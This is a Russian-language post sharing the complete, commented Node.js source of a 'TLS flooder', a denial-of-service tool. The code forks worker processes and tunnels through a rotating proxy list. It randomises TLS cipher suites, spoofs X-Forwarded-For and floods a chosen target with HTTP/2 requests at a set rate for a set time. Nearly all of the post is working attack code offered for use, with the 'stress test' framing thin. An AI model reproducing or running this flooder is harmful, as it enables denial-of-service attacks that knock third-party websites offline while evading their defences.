Исходники простенького TLS-флудера.
TLS-флудер на NodeJS. Пояснения в самом коде.
//импортируем зависимости (модули)
const url = require('url');
const cluster = require('cluster');
const http2 = require('http2');
const fs = require('fs');
process.on('uncaughtException', function(error) {
//console.log(error)
});
process.on('unhandledRejection', function(error) {
//console.log(error);
})
require('events').EventEmitter.defaultMaxListeners = 0;
process.setMaxListeners(0);
//Для удобства делаем вывод в коносль, дабы посмотреть что и куда
if(process.argv.length < 6) {
console.log(`target time proxy threads rps`)
/*
Что за что отвечает?
Target - это то, что мы передаем в переменную TargetUrl , в последствии мы передаем эту переменную в parsed
time - время атаки
proxy - ваш прокси лист, желательно использовать только HTTP:S прокси. Другие не полезут!
threads - ака потоки, сколько вы укажите, столько и будет запускаться скрипт. если у вас маломощный сервер, желательно ставить 5-10.
rps - Request Per Second, думаю тут понятно
*/
process.exit(0);
}
//делаем нужные переменные, взяв данные из аргументов
var targetURL = process.argv[2]
var parsed = url.parse(targetURL); // достаем данные из переменной targetURL с помощью библиотеки url
var methodRequest = "GET" // задаем дефолтный параметр под запрос(т.е GET)
var time = process.argv[3] // так же передаем данные из аргументов в данную переменную
var proxylist = fs.readFileSync(process.argv[4], 'utf-8').toString().replace(/\r/g, '').split('\n'); // читаем файл из аргумента, далее преобразовываем его в массив.
var threads = process.argv[5] // ...
var rate = process.argv[6] // Request per second
var header = {
":authority": parsed.host,
":method": methodRequest,
":path": parsed.path,
":scheme": "https",
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"accept-encoding": "gzip, deflate, br",
"accept-language": "en-US;q=0.8,en;q=0.7",
"upgrade-insecure-requests": "1",
"User-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36",
'x-requested-with': 'XMLHttpRequest' // желательно использовать разные юзер-агенты, но для примера я взял самый стандартный.
} // создаем заголовки запроса.
if (cluster.isMaster) {
console.log('DEVIL START'); // ... уведомление о том, что атака запустилась успешно.
for (let ads = 0; ads < threads; ads++) {
cluster.fork(); //перезапускаем процесс с таким кол-во, каким мы его указали в переменной threads
}
} else {
const cplist = [
"options2.TLS_AES_128_GCM_SHA256:options2.TLS_AES_256_GCM_SHA384:options2.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA:options2.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256:options2.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:options2.TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA:options2.TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:options2.TLS_ECDHE_ECDSA_WITH_RC4_128_SHA:options2.TLS_RSA_WITH_AES_128_CBC_SHA:options2.TLS_RSA_WITH_AES_128_CBC_SHA256:options2.TLS_RSA_WITH_AES_128_GCM_SHA256:options2.TLS_RSA_WITH_AES_256_CBC_SHA",
"TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256:TLS_AES_128_GCM_SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA384:DHE-RSA-AES256-SHA384:ECDHE-RSA-AES256-SHA256:DHE-RSA-AES256-SHA256:HIGH:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!SRP:!CAMELLIA",
":ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!3DES:!MD5:!PSK",
"RC4-SHA:RC4:ECDHE-RSA-AES256-SHA:AES256-SHA:HIGH:!MD5:!aNULL:!EDH:!AESGCM",
"ECDHE-RSA-AES256-SHA:RC4-SHA:RC4:HIGH:!MD5:!aNULL:!EDH:!AESGCM",
"AESGCM+EECDH:AESGCM+EDH:!SHA1:!DSS:!DSA:!ECDSA:!aNULL",
"EECDH+CHACHA20:EECDH+AES128:RSA+AES128:EECDH+AES256:RSA+AES256:EECDH+3DES:RSA+3DES:!MD5",
"HIGH:!aNULL:!eNULL:!LOW:!ADH:!RC4:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS",
"ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES256-SHA:!aNULL:!eNULL:!EXPORT:!DSS:!DES:!RC4:!3DES:!MD5:!PSK"
];
setInterval(() => {
var cipper = cplist[Math.floor(Math.random() * cplist.length)];//рандомизация сообщений (от сайта к клиенту)
var proxy = proxylist[Math.floor(Math.random() * proxylist.length)]; //рандомизация прокси листа
proxy = proxy.split(':'); //разделение самого рандомизированного прокси листа на :, тоесть будет две части([12.0.0.1 , 8080])
header["X-Forwarded-For"] = proxy[0]
var http = require('http'),
tls = require('tls');
tls.DEFAULT_MAX_VERSION = 'TLSv1.3'; // устанавливаем максимальную тлс версию для коннекта
var req = http.request({
//установка сессии прокси
host: proxy[0],
port: proxy[1],
ciphers: cipper,
method: 'CONNECT',
path: parsed.host + ":443"
}, (err) => {
req.end();
return;
});
req.on('connect', function (res, socket, head) {
const client = http2.connect(parsed.href, {
createConnection: () => tls.connect({
host: parsed.host,
ciphers: cipper,
secureProtocol: 'TLS_method',
challengesToSolve: 3,
cloudflareTimeout: 300,
cloudflareMaxTimeout: 300,
maxRedirects: 4,
followAllRedirects: true,
decodeEmails: false,
gzip: true,
sessionTimeout: 300,
servername: parsed.host,
secure: true,
rejectUnauthorized: false,
ALPNProtocols: ['h2', "http1.1"],
socket: socket
}, function () {
for (let i = 0; i< rate; i++){
const req = client.request(header); // отправляем запрос уже с нашими заголовками.
req.end();
req.on("response", () => {
req.close();
})
}
})
});
});
req.end();
});
//остановка атаки спустя время.
setTimeout(function() {
console.clear(); // очистка консоли
console.log('Attack End'); // опопвещение
process.exit() // выход из процесса ака его заверешение
}, time * 1000);
}
Тесты данного скрипта:
По окончании тестов выяснилось, что не байпассится хттп бубос (HTTP DDoS).
Всем хорошего времяпрепровождения и стресс-тестов!